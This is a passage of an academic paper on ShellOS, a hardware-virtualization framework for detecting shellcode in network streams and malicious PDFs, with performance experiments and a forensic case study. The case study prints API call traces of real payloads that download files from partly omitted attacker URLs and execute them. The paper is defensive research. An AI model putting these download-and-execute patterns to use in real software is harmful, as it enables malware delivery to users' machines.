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3GB are reserved for the ShellOS kernel. The ker-
nel supports loading arbitrary snapshots created using
the minidump format [20] (e.g., used in tools such as
WinDBG). The minidump structure contains the neces-
sary information to recreate the state of the running pro-
cess at the time the snapshot was taken. Once all regions
in the snapshot have been mapped, we adjust the TEB en-
try in the Global Descriptor Table to point to the actual
TEB location in the snapshot.

Control Loop Recall that ShellOS’ primary goal is
to enable fast and accurate detection of input contain-
ing shellcode. To do so, we must support the ability to
execute the instruction sequences starting at every off-
set in the inspected input. Execution from each offset
is required since the first instruction of the shellcode is
unknown. The control loop in ShellOS is responsi-
ble for this task. Once ShellOS is signaled to begin
analysis, the fpu,mmx, xmm, and general purpose reg-
isters are randomized to thwart injection attacks that try
to hinder analysis by guessing fixed register values (set

by ShellOS) and end execution early upon detection
of these conditions. The program counter is set to the
address of the buffer being analyzed. Buffer execution
begins when ShellOS transitions to usermode with the
iret instruction. At this point, instructions are executed
directly on the CPU in usermode until execution is inter-
rupted by a fault, trap, or timeout. The control loop is
therefore completely interrupt driven.

We define a fault as an unrecoverable error in the in-
struction stream, such as attempting to execute a privi-
leged instruction (e.g., the in al, 0x7 instruction in
Figure 2), or encountering an invalid opcode. The kernel
is notified of a fault through one of 32 interrupt vectors
indicating a processor exception. The Interrupt Descrip-
tor Table (IDT) points all fault-generating interrupts to a
generic assembly-level routine that resets usermode state
before attempting the next execution chain.3

We define a trap, on the other hand, as a recoverable
exception in the instruction stream (e.g., a page fault re-
sulting from a needed, but not yet paged-in, virtual ad-
dress), and once handled appropriately, the instruction
stream continues execution. Traps provide an opportu-
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nity to coarsely trace some actions of the executing code,
such as reading an entry in the TEB. To deal with in-
struction sequences that result in infinite loops, we cur-
rently use a rudimentary approach wherein ShellOS
instructs the programmable interval timer (PIT) to gen-
erate an interrupt at a fixed frequency. When this timer
fires twice in the current execution chain (guaranteeing
at least 1 tick interval of execution time), the chain is
aborted. Since the PIT is not directly accessible in guest
mode, KVM emulates the PIT timer via privileged do-
main timer events implemented with hrtimer, which
in turn uses the High Precision Event Timer (HPET) de-
vice as the underlying hardware timer. This level of indi-
rection imposes an unavoidable performance penalty be-
cause external interrupts (e.g. ticks from a timer) cause a
VMExit.

Furthermore, the guest must signal that each inter-
rupt has been handled via an End-of-Interrupt (EOI). The
problem here is that EOI is implemented as a physical de-
vice IO instruction which requires a second VMExit for
each tick. The obvious trade-off is that while a higher
frequency timer would allow us to exit infinite loops
quickly, it also increases the overhead associated with en-
tering and exiting guest mode (due to the increased num-
ber of VMExits). To alleviate some of this overhead, we
place the KVM-emulated PIT in what is known as Auto-
EOI mode. This mode allows new timeout interrupts to
be received without requiring a device IO instruction to
acknowledge the previous interrupt. In this way, we ef-
fectively cut the overhead in half. We return later to a
discussion on setting appropriate timer frequencies, and
its implications for run-time performance.

The complete ShellOS kernel is composed of 2471
custom lines of C and assembly code.

4.3 Detection

The ShellOS kernel provides an efficient means to ex-
ecute arbitrary buffers of code or data, but we also need a
mechanism for determining if these execution sequences
represent injected code. One of our primary contribu-
tions in this paper is the ability to modularly use exist-
ing runtime heuristics in an efficient and accurate frame-
work that does not require tracing every machine-level
instruction, or performing unsafe optimizations. A key
insight towards this goal is the observation that existing
reliable detection heuristics really do not require fine-
grained instruction-level tracing, rather, coarsely tracing
memory accesses to specific locations is sufficient.

Towards this goal, a handful of approaches are readily
available for efficiently tracing memory accesses; e.g.,
using hardware supported debug registers, or exploring
virtual memory based techniques. Hardware debug reg-
isters are limited in that only a few memory locations

may be traced at one time. Our approach, based on
virtual memory, is similar in implementation to stealth
breakpoints [40] and allows for an unlimited number
of memory traps to be set to support multiple runtime
heuristics defined by an analyst.

Recall that an instruction stream will be interrupted
with a trap upon accessing a memory location that gen-
erates a page fault. We may therefore force a trap to oc-
cur on access to an arbitrary virtual address by clearing
the present bit of the page entry mapping for that ad-
dress. For each address that requires tracing we clear the
corresponding present bit and set the OS reserved
field to indicate that the kernel should trace accesses
to this entry. When a page fault occurs, the interrupt
descriptor table (IDT) directs execution to an interrupt
handler that checks these fields. If the OS reserved
field indicates tracing is not requested, then the page
fault is handled according to the region mappings de-
fined in the process’ snapshot. Regardless of where the
analyzed buffers originate from (e.g., a network packet
or a heap object) a Windows process snapshot is always
loaded in ShellOS in order to populate OS data struc-
tures (e.g., the TEB), and to load data commonly present
(e.g., shared libraries) when injected code executes.

When a page entry does indicate that tracing should
occur, and the faulting address (accessible via the CR2
register) is in a list of desired address traps (provided, for
example, by an analyst), the page fault must be logged
and appropriately handled. In handling a page fault re-
sulting from a trap, we must first allow the page to be
accessed by the usermode code, then reset the trap im-
mediately to ensure trapping future accesses to that page.
To achieve this, the handler sets the present bit in the
page entry (enabling access to the page) and the TRAP
bit in the flags register, then returns to the usermode
instruction stream. As a result, the instruction that origi-
nally caused the page fault is now successfully executed
before the TRAP bit forces an interrupt. The IDT then
forwards the interrupt to another handler that unsets the
TRAP and present bits so that the next access to that
location can be traced. Our approach allows for tracing
of any virtual address access (read,write, execute), with-
out a predefined limit on the number of addresses to trap.

Detection Heuristics ShellOS, by design, is not tied
to any specific set of behavioral heuristics. Any heuris-
tic based on memory reads, writes, or executions can
be supported with coarse-grained tracing. To highlight
the strengths of ShellOS, we chose to implement the
PEB heuristic proposed by Polychronakis et al. [28].
That particular heuristic was chosen for its simplicity,
as well as the fact that it has already been shown to be
successful in detecting a wide array of Windows shell-
code. This heuristic detects injected code that parses
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the process-level TEB and PEB data structures in order
to locate the base address of shared libraries loaded in
memory. The TEB contains a pointer to the PEB (ad-
dress FS:[0x30]), which contains a pointer to yet an-
other data structure (i.e., LDR DATA) containing several
linked lists of shared library information.

The detection approach given in [28] checks if
accesses are being made to the PEB pointer, the
LDR DATA pointer, and any of the linked lists. To im-
plement their detection approach, we simply set a trap on
each of these addresses and report that injected code has
been found when the necessary conditions are met. This
heuristic fails to detect certain cases, but we reiterate that
any number of other heuristics could be chosen instead.
We leave this as future work.

4.4 Diagnostics
Although efficient and reliable identification of code in-
jection attacks is an important contribution of this paper,
the forensic analysis of the higher-level actions of these
attacks is also of significant value to security profession-
als. To this end, we provide a method for reporting foren-
sic information about a buffer where shellcode has been
detected. Again, we take advantage of the memory snap-
shot facility discussed earlier (§ 4.5) to obtain a list of
virtual addresses associated with API calls for various
shared libraries. We place traps on these addresses, and
when triggered, a handler for the corresponding call is
invoked. That handler pops function parameters off the
usermode stack, logs the call and its supplied parameters,
performs actions needed for the successful completion of
that call (e.g., allocating heap space), and then returns to
the injected code.

Obviously, due to the myriad of API calls available,
one cannot expect the diagnostics to be complete. Keep
in mind, however, that the lack of completeness in our
diagnostics facility is independent of the actual detection
of injected code. The ability to extend the level of diag-
nostic information is straightforward, but tedious. That
said, as shown later, we are able to provide a wealth of
diagnostic information on a diverse collection of self-
contained [27] shellcode injection attacks.

4.5 Extensibility
The capabilities provided by ShellOS are but one com-
ponent in an overall framework necessary to detect code
injection attacks. This larger framework should support
the loading of custom process snapshots and arbitrary
shellcode detection heuristics, each defined by a list of
read, write, or execute memory traps. Since ShellOS
only detects and diagnoses the buffers of data provided,
there must be some mechanism for providing buffers of

data we suspect contain injected code. To this end, we
built two platforms that rely on ShellOS to scan buffers
for injected code; one to detect client-based program at-
tacks such as the malicious PDFs discussed earlier, and
another to detect attacks on network services that oper-
ates as a network intrusion detection system.

Supporting Detection of Code Injection in Client-
based Programs: To showcase ShellOS’ promise as
a platform upon which other modules can be built, we
implemented a lightweight memory monitoring facility
that allows ShellOS to scan buffers created by docu-
ments loaded in the process space of a prescribed reader
application. In this context, a document is any file or
object that may be opened with it’s corresponding pro-
gram, such as a PDF, Microsoft Word document, Flash
object, HTML page, etc. This platform may be useful to
an enterprise as a network service wherein documents are
automatically sent for analysis (e.g. by extraction from
network streams or an email server) or manually submit-
ted by an analyst in a forensic investigation.

The approach we take to detect shellcode in malicious
documents is to let the reader application handle ren-
dering of the content while monitoring any buffers cre-
ated by it, and signaling ShellOS to scan these buffers
for shellcode (using existing heuristics). This approach
has several advantages. An important one is that we do
not need to worry about recreating any document object
model, handling obfuscated javascript, or dealing with
all the other idiosyncrasies that pose challenges for other
approaches [6, 8, 39]. We simply need to analyze the
buffers created when rendering the document in a quar-
antined environment. The challenge lies in doing all of
this as efficiently as possible.

To support this goal, we provide a monitoring facil-
ity that is able to snapshot the memory contents of pro-
cesses. The snapshots are constructed in a manner that
captures the entire process state, the virtual memory lay-
out, as well as all the code and data pages within the pro-
cess. The data pages contain the buffers allocated on the
heap, while the code pages contain all the system mod-
ules that must be loaded by ShellOS to enable analy-
sis. Our memory tracing facility includes less than 900
lines of custom C/C++ code. A high level view of the
approach is shown in Figure 3.

This functionality was built specifically for the Win-
dows OS and can support any application running on
Windows. The memory snapshots are created using cus-
tom software that attaches to an arbitrary application pro-
cess and stores contents of memory using the function-
ality provided by Windows’ debug library (DbgHelp).
We capture buffers that are allocated on the heap (i.e.,
pages mapped as RW), as well as thread and module in-
formation. The results are stored in minidump format,
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Figure 3: A platform for analyzing process buffers using
ShellOS

which contains all the information required to recreate
the process within ShellOS, including all dlls, the
PEB/TEB, register state, the heap and stack, and the vir-
tual memory layout of these components.

Supporting Detection of Code Injection in Network
Services: Another use-case for ShellOS is detecting
code injection attacks targeting network services. While
the shellcode embedded in client-based program code
injection attacks is typically obfuscated in multiple lay-
ers of encoding (e.g. compressed form → javascript →
shellcode), attacks on network services are often present
directly as executable shellcode on the wire. As noted
by Polychronakis et al. [26], we may use this observa-
tion to build a platform to detect code injection attacks
on network services by reassembling observed network
streams and executing each of these streams. This plat-
form may be used in an enterprise as a component of
an network intrusion detection system or for post-facto
analysis of a network capture in a forensic investigation.

5 Evaluation

In the analysis that follows, we first examine ShellOS’
ability to faithfully execute network payloads and suc-
cessfully trigger the detection heuristics when shellcode
is found. Next, we examine the performance benefits of
the ShellOS framework when compared to software-
emulation. We also report on our experience using
ShellOS to analyze a collection of suspicious PDF doc-
uments. All experiments were conducted on an Intel

Encoder Nemu ShellOS

countdown Y Y
fnstenv mov Y Y

jmp call additive Y Y
shikata ga nai Y Y

call4 dword xor Y Y
alpha mixed Y Y
alpha upper N Y

TAPiON Y* Y

Table 1: Off-the-Shelf Shellcode Detection.

Xeon Quad Processor machine with 32 GB of memory.
The host OS was Ubuntu with kernel version 2.6.35.

5.1 Performance

To evaluate our performance, we used Metasploit to
launch attacks in a virtualized environment. For each
encoder, we generated 100s of attack instances by ran-
domly selecting 1 of 7 exploits, 1 of 9 self-contained
payloads that utilize the PEB for shared library resolu-
tion, and randomly generated parameter values associ-
ated with each type of payload (e.g. download URL, bind
port, etc.). As the attacks launched, we captured the net-
work traffic for later network-level buffer analysis.

We also encoded several payload instances using
an advanced polymorphic engine, called TAPiON4.
TAPiON incorporates features designed to thwart emula-
tion. Each of the encoders we used (see Table 1) are con-
sidered to be self-contained [25] in that they do not re-
quire additional contextual information about the process
they are injected into in order to function properly. In-
deed, we do not specifically address non-self-contained
shellcode in this paper.

For the sake of comparison, we chose a software-based
solution (called Nemu [28]), that is reflective of the cur-
rent state of the art. Nemu and ShellOS both performed
well in detecting all the instances of the code injection at-
tacks developed using Metasploit, with a few exceptions.

Surprisingly, Nemu failed to detect shellcode gener-
ated using the alpha upper encoder. Since the en-
coder payload relies on accessing the PEB for shared li-
brary resolution, we expected both Nemu and ShellOS
to trigger this detection heuristic. We speculate that
Nemu is unable to handle this particular case because
of inaccurate emulation of its particular instruction
sequences—underscoring the need to directly execute
the shellcode on hardware.

More pertinent to the discussion is that while the
software-based emulation approach is capable of de-
tecting shellcode generated with the TAPiON engine,
performance optimization limits its ability to do so.
The TAPiON engine attempts to confound detection
by basing its decoding routines on timing components
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(namely, the RDTSC instruction) and uses a plethora of
CPU-intensive coprocessor instructions in long loops to
slow runtime-analysis. These long loops quickly reach
Nemu’s default execution threshold (2048) prior to any
heuristic being triggered. This is particularly problem-
atic because no GetPC instruction is executed until these
loops complete.

Furthermore, software-based emulators simply treat
the majority of coprocessor instructions as NOPs. While
TAPiON does not currently use the result of these in-
structions in its decoding routine, it only takes minor
changes to the out-of-the-box engine to incorporate these
results and thwart detection (hence the “*” in Table 1).
ShellOS, on the other hand, fully supports all copro-
cessor instructions with its direct CPU execution.

More problematic for these classes of approaches is
that successfully detecting code encoded by engines such
as TAPiON can require following very long execution
chains (e.g., well over 60, 000 instructions). To examine
the runtime performance of our prototype, we randomly
generated 1000 benign inputs, and set the instructions
thresholds (in both approaches) to the levels required to
detect instances of TAPiON shellcode.

Figure 4: ShellOS Performance

Since ShellOS currently cannot directly set an in-
struction threshold (due to the coarse-grained tracing ap-
proach), we approximate the required threshold by ad-
justing the execution chain timeout frequency. As the
timer frequency increases, the number of instructions ex-
ecuted per execution chain decreases. Thus, we exper-
imentally determined the maximum frequency needed
to execute the TAPiON shellcodes that required 10k,
16k, and 60k instruction executions to complete their
loops. These timer frequencies are 5000HZ, 4000HZ,
and 1000HZ, respectively. Note that in the common
case, ShellOS can execute many more instructions, de-
pending on the speed of individual instructions. TAPiON

code, however, is specifically designed to use the slower
FPU-based instructions. (ShellOS can execute over 4
million fast NOP instructions in the same time interval
that only 60k FPU-heavy instructions are executed.)

The results are shown in Figure 4. The labeled
points on the lineplot indicate the minimum execution
chain length required to detect the three representative
TAPiON samples. For completeness, we show the per-
formance of Nemu with and without unsafe execution
chain pruning (see §3). When unsafe pruning is used,
software-emulation does better than ShellOS on a sin-
gle core at very low execution thresholds. This is not
too surprising, as the higher clock frequencies required to
support short execution chains in ShellOS incur addi-
tional overhead (see §4). However, with longer execution
chains, the real benefit of ShellOS becomes apparent—
ShellOS (on a single core) is an order of magnitude
faster than Nemu when unsafe execution chain pruning
is disabled. Finally, we observe that the worker queue
provided by the ShellOS host-side library efficiently
multi-processes buffer analysis, and demonstrates that
multi-processing offers a viable alternative to the unsafe
elimination of execution chains.

A note on 64-bit architectures The performance of
ShellOS is even more compelling when one takes
into consideration the fact that in 64-bit architectures,
program counter relative addressing is allowed—hence,
there is no need for shellcode to use any form of “Get
Program Counter” code to locate its address on the stack;
a limitation that has been widely used to detect tradi-
tional 32-bit shellcode using (very) low execution thresh-
olds. This means that as 64-bit architectures become
commonplace, shellcode detection approaches using dy-
namic analysis must resort to heuristics that require the
shellcode to fully decode. The implications are that
the requirement to process long execution chains, such
as those already exhibited by today’s advanced engines
(e.g., Hydra [29] and TAPiON), will be of far more sig-
nificance than it is today.

5.2 Throughput
To better study our throughput on network streams,
we built a testbed consisting of 32 machines running
FreeBSD 6.0 and generated traffic using a state-of-the-
art traffic generator, Tmix [15]. The network traffic is
routed between the machines using Linux-based soft-
ware routers. The link between the two routers is tapped
using a gigabit fiber tap, with the traffic diverted to our
detection appliance (i.e., running ShellOS or Nemu),
as well as to a network monitor that constantly monitors
the network for throughput and losses. The experimental
setup is shown in Figure 5.
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Figure 5: Experimental testbed with end systems generating traffic using Tmix. Using a network tap, we monitor the
throughput on one system, while ShellOS or Nemu attempt to analyze all traffic on another system.

Tmix synthetically regenerates TCP traffic that
matches the statistical properties of traffic observed in
a given network trace; this includes source level prop-
erties such as file and object size distributions, number
of simultaneously active connections and also network
level properties such as round trip time. Tmix also pro-
vides a block resampling algorithm to achieve a target
throughput while preserving the statistical properties of
the original network trace.

We supply Tmix with a network trace of HTTP con-
nections captured on the border links of UNC-Chapel
Hill in October, 20095. The trace represents 1-hour of
activity, which is more than long enough to capture dis-
tributions for many statistical measures indistinguishable
from longer traces [14]. Using Tmix block resampling,
we run two 1-hour experiments based on the original
trace where Tmix attempts to maintain a throughput of
100Mbps in the first experiment and 350Mbps in the sec-
ond experiment. The actual throughput fluctuates some
as Tmix maintains statistical properties observed in the
original network trace. We repeat each experiment with
the same seed (to generate the same traffic) using both
Nemu and ShellOS.

Both ShellOS and Nemu are configured to only ana-
lyze traffic from the connection initiator, as we are target-
ing code injection attacks on network services. We ana-
lyze up to one megabyte of a network connection (from
the initiator) and set an execution threshold of 60k in-
structions (see section §5.1). Neither ShellOS or Nemu
perform any instruction chain pruning (e.g. we try exe-
cution from every position in every buffer) and use only
a single cpu core.

Figure 6 shows the results of the network experi-
ments. The bottom subplot shows the traffic throughput
generated over the course of both 1-hour experiments.
The 100Mbps experiment actually fluctuates from 100-

160Mbps, while the 350Mbps experiment nearly reaches
500Mbps at some points. The top subplot depicts the
number of buffers analyzed over time for both ShellOS
and Nemu with both experiments. Note that one buffer
is analyzed for each connection containing data from the
connection initiator. The plot shows that the maximum
number of buffers per second for Nemu hovers around
75 for both the 100Mbps and 350Mbps experiments with
significant packet loss observed in the middle subplot.
ShellOS is able to process around 250 buffers per sec-
ond in the 100Mbps experiment with zero packet loss and
around 750 buffers per second in the 350Mbps experi-
ment with intermittent packet loss. That is, ShellOS
is able to process all buffers with 1 CPU core, with-
out loss, on a network with sustained 100Mbps network
throughput, while ShellOS is on the cusp of its maxi-
mum throughput on 1 CPU core on a network with sus-
tained 350Mbps network throughput (and spikes up to
500Mbps). In these tests, we received no false positives
for either ShellOS or Nemu.

Our experimental network setup, unfortunately, is not
currently able to generate sustained throughput greater
than the 350Mbps experiment. Therefore, to demonstrate
ShellOS’ scalability in leveraging multiple CPU cores,
we instead turn to an analysis of the libnids packet
queue size in the 350Mbps experiment. We fix the max-
imum packet queue size at 100k, then run the 350Mbps
experiment 4 times utilizing 1, 2, 4, and 14 cores. When
the packet queue size reaches the maximum, packet loss
occurs. The average queue size should be as low as pos-
sible to minimize the chance of packet loss due to sud-
den spikes in network traffic, as observed in the middle
subplot of Figure 6 for the 350Mbps ShellOS exper-
iment. Figure 7 shows the CDF of the average packet
queue size over the course of each 1-hour experiment run
with a different number of CPU cores. The figure shows
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Figure 6: ShellOS network throughput performance.

that using 2 cores reduces the average queue size by an
order of magnitude, 4 cores reduces average queue size
to less than 10 packets, and 14 cores is clearly more than
sufficient for 350Mbps sustained network traffic. This
evidence suggests that multi-core ShellOS may be ca-
pable of monitoring links with much greater throughput
than we were able to generate in our experiments.
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5.3 Case Study: PDF Code Injection

We now report on our experience using this framework to
analyze a collection of 427 malicious PDFs. These PDFs
were randomly selected from a larger subset of suspi-
cious files flagged by a large-scale web malware detec-
tion system. Each PDF is labeled with a Common Vul-
nerability Exposure (CVE) number (or “Unknown” tag).
Of these files, 22 were corrupted, leaving us with a total
of 405 files for analysis. We also use a collection of 179
benign PDFs from various USENIX conferences.

We launch each document with Adobe Reader and at-
tach the memory facility to that process. We then snap-
shot the heap as the document is rendered, and wait un-
til the heap buffers stop growing. 374 of the 405 mali-
cious PDFs resulted in a unique set of buffers. ShellOS
is then signaled that the buffers are ready for inspec-
tion. Note that we only generate the process layout once
per application (e.g., Reader), and subsequent snapshots
only contain the heap buffers.

Figure 8 shows the size distribution of heap buffers
extracted from benign and malicious PDFs. Notice that
≈ 60% of the buffers extracted from malicious PDF are
512K long. This striking feature can be attributed to
the heap allocation strategy used by the Windows OS,
whereby chunks of 512K and higher are memory aligned
at 64K boundaries. As noted by Ding et al. [7], attack-
ers can take advantage of this alignment to increase the
success rate of their attacks (e.g., by providing a more
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predictable landing spot for the shellcode when used in
conjunction with large NOP-sleds).

CVE Detected
CVE-2007-5659 2
CVE-2008-2992 10
CVE-2009-4324 12
CVE-2009-2994 1
CVE-2009-0927 33
CVE-2010-0188 53
CVE-2010-2883 70
Unknown 144

Table 2: CVE Distribution for Detected Attacks

Table 2 provides a breakdown of the corresponding
CVE listings for the 325 unique code injection attacks we
detected. Interestingly, we were able to detect 70 attacks
using Return Oriented Programming (ROP) because of
their second-stage exploit (CVE-2010-2883) triggering
the PEB heuristic. We verified these attacks used ROP
through subsequent manual analysis of the javascript in-
cluded in the PDFs and reiterate that our current runtime
heuristics do not directly detect ROP code, but that in
all the examples we observed using ROP, control was al-
ways transferred to non-ROP shellcode to perform the
primary actions of the attack. We believe that in the fu-
ture the flexibility of ShellOS’ ability to load arbitrary
process snapshots may be leveraged to correctly execute,
detect, and diagnose ROP by iterating the stack pointer
(instead of the IP) over a buffer and issuing a ret in-
struction to test every position of a buffer for ROP. This
may be critical as attackers become more adapt at craft-
ing ROP-only code injection attacks.

Figure 9 depicts the CDF for extracting heap objects
from malicious and benign documents. The time distri-
bution for malicious documents is further broken down
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Figure 9: Elapsed time for extracting heap objects

by “ROP-based” (i.e., CVE-2010-2883) and other ex-
ploits. The group labeled other performed more tradi-
tional heap-spray attacks with self-contained shellcode,
and is not particularly interesting (at least, from a foren-
sic standpoint). In either case, we were able to extract
approximately 98% of the buffers within 26 seconds. For
the benign files, extraction took less than 5 seconds for
98% of the documents. The low processing time of the
benign case is because the buffers are allocated just once
when the PDF is rendered on open, as opposed to hun-
dreds of heap objects created by the embedded javascript
that performs the heap-sprays.
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The overall time for performing our analyses is given
in Figure 10. Notice that the majority of the time
can be attributed to buffer extraction. Once signalled,
ShellOS analyzes the buffers at high speed. The av-
erage time to analyze a benign PDF (the common case,
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hopefully) is 5.46 seconds with our unoptimized code.
We remind the reader that the framework we provide

is not tied to any particular method of buffer extraction.
To the contrary, ShellOS executes any arbitrary buffer
supplied by the analyst and reports if the desired heuris-
tics are triggered. In this case-study, we simply chose to
highlight the usefulness of ShellOS with buffers pro-
vided by our own PDF pre-processor.

Next, we describe some of the patterns we observed
lurking within PDF-based code injection attacks.

5.4 Forensic Analysis
Recall that once injected code is detected, ShellOS
continues to allow execution to collect diagnostic traces
of Windows API calls before returning a result. In the
majority of cases, the diagnostics completed successfully
for the PDF dataset. Of the diagnostics performed in the
other category, we found that 85% of the injected code
exhibited an identical API call sequence:

begin snippet

LoadLibraryA("urlmon")
URLDownloadToCacheFile(

URL = "http://(omitted).cz.cc/
out.php?a=36&p=5",

CacheFile = "%tmp%")
CreateProcessA(App = "%tmp%", Cmd = (null))
TerminateThread(Thread = -2, ExitCode = 0)

end snippet

The top level domains were always cz.cc and
the GET request parameters varied only in numerical
value. We also observed that all of the remaining
PDFs in the other category (where diagnostics suc-
ceeded) used either the URLDownloadToCacheFile
or URLDownloadToFile API call to download a file,
then executed it with CreateProcessA, WinExec,
or ShellExecuteA. Two of these shellcodes at-
tempted to download several binaries from the same do-
main, and a few of the requested URLs contained obvi-
ous text-based information pertinent to the exploit used,
e.g. exp=PDF (Collab), exp=PDF (GetIcon),
or ex=Util.Printf – presumably for bookkeeping
in an overall diverse attack campaign.

Two of the self-contained payloads were only partially
analyzed by the diagnostics, and proved to be quite inter-
esting. The partial call trace for the first of these is given
in Figure 11. Here, the injected code allocates space on
the heap, then copies code into that heap area. Although
the code copy is not apparent in the API call sequence
alone, ShellOS may also provide an instruction-level
trace (when requested by the analyst) by single-stepping
each instruction via the TRAP bit in the flags register. We
observed the assembly-level copies using this feature.

The code then proceeds to patch several DLL functions,
partially observed in this trace by the use of API calls to
modify page permissions prior to patching, then resetting
them after patching. Again, the assembly-level patching
code is only observable in a full instruction trace. Finally,
the shellcode performs the conventional URL download
and executes that download.

begin snippet

GlobalAlloc(Flags = 0x0, Bytes = 8192)
VirtualProtect(Addr = 0x7c86304a, Size = 4096,

Protect = 0x40)
VirtualProtect(Addr = 0x7c86304a, Size = 4096,

Protect = 0x20)
LoadLibraryA("user32")
VirtualProtect(Addr = 0x77d702d3, Size = 4096,

Protect = 0x40)
VirtualProtect(Addr = 0x77d702d3, Size = 4096,

Protect = 0x20)
LoadLibraryA("ntdll")
VirtualProtect(Addr = 0x7c918c2e, Size = 4096,

Protect = 0x40)
VirtualProtect(Addr = 0x7c918c2e, Size = 4096,

Protect = 0x20)
LoadLibraryA("urlmon")
URLDownloadToCacheFile(

URL = "http://www.(omitted).net/file.exe",
CacheFile = "%tmp%")

CreateProcessA(App=(null), Cmd="cmd /c %tmp%")
...

end snippet

Figure 11: More complex shellcode in a PDF

The second interesting case challenges our prototype
diagnostics by applying some anti-analysis techniques.
The partial API call sequence observed follows:

begin snippet

GetFileSize(hFile = 0x4)
GetTickCount()
GlobalAlloc(Flags = 0x40, Bytes = 4) = buf*
ReadFile(hFile = 0x0, Buf* = buf*, Len = 4)
...continues to loop in this sequence...

end snippet

Figure 12: Analysis-resistant Shellcode

As ShellOS does not currently address context-
sensitive code, we have no way of providing the file size
expected by this code. Furthermore, we do not provide
the required timing characteristics for this particular se-
quence as our API call handlers merely attempt to pro-
vide a ‘correct’ value, with minimal behind-the-scenes
processing. As a result, this sequence of API calls is re-
peated in an infinite loop, preventing further automated
analysis. We note, however, that this particular challenge
is not unique to ShellOS.

Of the 70 detected ROP-based exploit PDFs, 87% of
the second stage payloads adhered to the following API
call sequence:
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begin snippet

LoadLibraryA("urlmon")
LoadLibraryA("shell32")
GetTempPathA(Len = 64, Buffer = "C:\TEMP\")
URLDownloadToFile(

URL = "http://(omitted).php?
spl=pdf_sing&s=0907...(omitted)...FC2_1
&fh=",
File = "C:\TEMP\a.exe")

ShellExecuteA(File = "C:\TEMP\a.exe")
ExitProcess(ExitCode = -2),

end snippet

Figure 13: Typical second stage of a ROP-based PDF
code injection attacks observed using ShellOS.

Of the remaining payloads, 6 use an API not yet sup-
ported in ShellOS, while the others are simple variants
on this conventional URL download pattern.

6 Limitations

Code injection attack detection based on run-time anal-
ysis, whether emulated or supported through direct CPU
execution, generally operates as a self-sufficient black-
box wherein a suspicious buffer of code or data is sup-
plied, and a result returned. ShellOS attempts to pro-
vide a run-time environment as similar as possible to that
which the injected code expects. That said, we cannot
ignore the fact that shellcode designed to execute un-
der very specific conditions may not operate as expected
(e.g., non-self-contained [19, 26], context-keyed [11],
and swarm attacks [5]). We note, however, that by requir-
ing more specific processor state, the attack exposure is
reduced, which is usually counter to the desired goal —
that is, exploiting as many systems as possible. The same
rational holds for the use of ROP-based attacks, which
require specific data being present in memory.

More specific to our framework is that we cur-
rently employ a simplistic approach for loop detection.
Whereas software-based emulators are able to quickly
detect and (safely) exit an infinite loop by inspecting pro-
gram state at each instruction, we only have the opportu-
nity to inspect state at each clock tick. At present, the
overhead associated with increasing timer frequency to
inspect program state more often limits our ability to exit
from infinite loops more quickly. In future work, we plan
to explore alternative methods for safely pruning such
loops, without incurring excessive overhead.

Furthermore, while employing hardware virtualization
to run ShellOS provides increased transparency over
previous approaches, it may still be possible to detect a
virtualized environment through the small set of instruc-
tions that must still be emulated. We note, however, that
while ShellOS currently uses hardware virtualization
extensions to run along side a standard host OS, only im-

plementation of device drivers prevents ShellOS from
running directly as the host OS. Running directly as the
host OS could have additional performance benefits in
detecting code injection for network services. We leave
this for future work.

Finally, ShellOS provides a framework for fast de-
tection and analysis of a buffer, but an analyst or auto-
mated data pre-processor (such as that presented in §5)
must provide these buffers. As our own experience has
shown, doing so can be non-trivial, as special attention
must be taken to ensure a realistic operating environment
is provided to illicit the proper execution of the sample
under inspection. This same challenge holds for all VM
or emulation-based detection approaches we are aware
of (e.g., [6, 8, 10, 31]). Our framework can be extended
to benefit from the active body of research in this area.

7 Conclusion

In this paper, we propose a new framework for en-
abling fast and accurate detection of code injection at-
tacks. Specifically, we take advantage of hardware virtu-
alization to allow for efficient and accurate inspection of
buffers by directly executing instruction sequences on the
CPU. Our approach allows for the modular use of exist-
ing run-time heuristics in a manner that does not require
tracing every machine-level instruction, or performing
unsafe optimizations. In doing so, we provide a foun-
dation that defenses for code injection attacks can build
upon. We also provide an empirical evaluation, spanning
real-world attacks, that aptly demonstrates the strengths
of our framework.

Code Availability

We anticipate that the source code for the ShellOS ker-
nel and our packaged tools will be made available under
a BSD license for research and non-commercial uses.
Please contact the first author for more information on
obtaining the software.
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Notes
1See, for example, “Sophisticated, targeted malicious PDF doc-

uments exploiting CVE-2009-4324” at http://isc.sans.edu/
diary.html?storyid=7867.

2See the discussion at https://bugs.launchpad.net/
qemu/+bug/661696, November, 2010.

3We reset registers via popa and fxrstor instructions, while
memory is reset by traversing page table entries and reloading pages
with the dirty bit set.

4The TAPiON engine is available at http://pb.
specialised.info/all/tapion/.

5We update this network trace with payload byte distributions col-
lected in 2011.

References

[1] P. Baecher and M. Koetter. Libemu - x86 shell-
code emulation library. Available at http://
libemu.carnivore.it/, 2007.

[2] F. Bellard. Qemu, a fast and portable dynamic
translator. In Proceedings of the USENIX Annual
Technical Conference, pages 41–41, Berkeley, CA,
USA, 2005.

[3] E. Buchanan, R. Roemer, H. Shacham, and S. Sav-
age. When Good Instructions Go Bad: General-
izing Return-Oriented Programming to RISC. In
ACM Conference on Computer and Communica-
tions Security, Oct. 2008.

[4] B. Z. Charles Curtsigner, Benjamin Livshits and
C. Seifert. Zozzle: Fast and Precise In-Browser
Javascript Malware Detection. USENIX Security
Symposium, August 2011.

[5] S. P. Chung and A. K. Mok. Swarm attacks against
network-level emulation/analysis. In International
symposium on Recent Advances in Intrusion Detec-
tion, pages 175–190, 2008.

[6] M. Cova, C. Kruegel, and V. Giovanni. Detection
and analysis of drive-by-download attacks and ma-
licious javascript code. In International conference
on World Wide Web, pages 281–290, 2010.

[7] Y. Ding, T. Wei, T. Wang, Z. Liang, and W. Zou.
Heap Taichi: Exploiting Memory Allocation Gran-
ularity in Heap-Spraying Attacks. In Annual
Computer Security Applications Conference, pages
327–336, 2010.

[8] M. Egele, P. Wurzinger, C. Kruegel, and E. Kirda.
Defending browsers against drive-by downloads:

Mitigating heap-spraying code injection attacks. In
Detection of Intrusions and Malware & Vulnerabil-
ity Assessment, June 2009.

[9] P. Fogla, M. Sharif, R. Perdisci, O. Kolesnikov, and
W. Lee. Polymorphic blending attacks. In USENIX
Security Symposium, pages 241–256, 2006.

[10] S. Ford, M. Cova, C. Kruegel, and G. Vigna. An-
alyzing and detecting malicious flash advertise-
ments. In Computer Security Applications Confer-
ence, pages 363 –372, Dec 2009.

[11] D. A. Glynos. Context-keyed Payload Encoding:
Fighting the Next Generation of IDS. In Athens IT
Security Conference (ATH.C0N), 2010.

